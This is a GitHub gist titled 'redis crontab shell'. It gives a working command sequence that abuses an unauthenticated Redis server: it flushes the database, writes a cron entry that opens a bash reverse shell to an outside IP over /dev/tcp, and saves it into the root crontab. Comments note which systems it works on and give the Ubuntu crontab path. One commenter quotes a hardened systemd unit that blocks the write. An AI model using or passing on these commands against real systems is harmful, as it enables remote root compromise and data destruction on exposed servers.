Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
Last active May 14, 2025 16:07
Show Gist options
  • Save carnal0wnage/df7082a56f1d7bc9681ceb3fea65c0fe to your computer and use it in GitHub Desktop.
Save carnal0wnage/df7082a56f1d7bc9681ceb3fea65c0fe to your computer and use it in GitHub Desktop.
redis crontab shell
redis-cli flushall
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/114.114.114.114/53 0>&1\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
from https://phpinfo.me/2016/07/07/1275.html
@imfht
Copy link

imfht commented Nov 29, 2018

not working for ubuntu16.04
works well on centos 6.9

@the-mr-robot
Copy link

the-mr-robot commented Oct 13, 2023

not working for ubuntu16.04 works well on centos 6.9

for Ubuntu the config directory is /var/spool/cron/crontabs

@tryauuum
Copy link

that's pretty cool

apparently on modern ubuntu systemd is configured to protect from such attacks

# /lib/systemd/system/redis-server.service
[Unit]
Description=Advanced key-value store
After=network.target
Documentation=http://redis.io/documentation, man:redis-server(1)

[Service]
Type=notify
ExecStart=/usr/bin/redis-server /etc/redis/redis.conf --supervised systemd --daemonize no
PIDFile=/run/redis/redis-server.pid
TimeoutStopSec=0
Restart=always
User=redis
Group=redis
RuntimeDirectory=redis
RuntimeDirectoryMode=2755

UMask=007
PrivateTmp=yes
LimitNOFILE=65535
PrivateDevices=yes
ProtectHome=yes
ReadOnlyDirectories=/
ReadWritePaths=-/var/lib/redis
ReadWritePaths=-/var/log/redis
ReadWritePaths=-/var/run/redis

NoNewPrivileges=true
CapabilityBoundingSet=CAP_SETGID CAP_SETUID CAP_SYS_RESOURCE
MemoryDenyWriteExecute=true
ProtectKernelModules=true
ProtectKernelTunables=true
ProtectControlGroups=true
RestrictRealtime=true
RestrictNamespaces=true
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX

# redis-server can write to its own config file when in cluster mode so we
# permit writing there by default. If you are not using this feature, it is
# recommended that you replace the following lines with "ProtectSystem=full".
ProtectSystem=true
ReadWriteDirectories=-/etc/redis

[Install]
WantedBy=multi-user.target
Alias=redis.service

the most important part is this:

ReadOnlyDirectories=/
ReadWritePaths=-/var/lib/redis
ReadWritePaths=-/var/log/redis
ReadWritePaths=-/var/run/redis

It means redis can no longer write stuff in the crontab directories

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment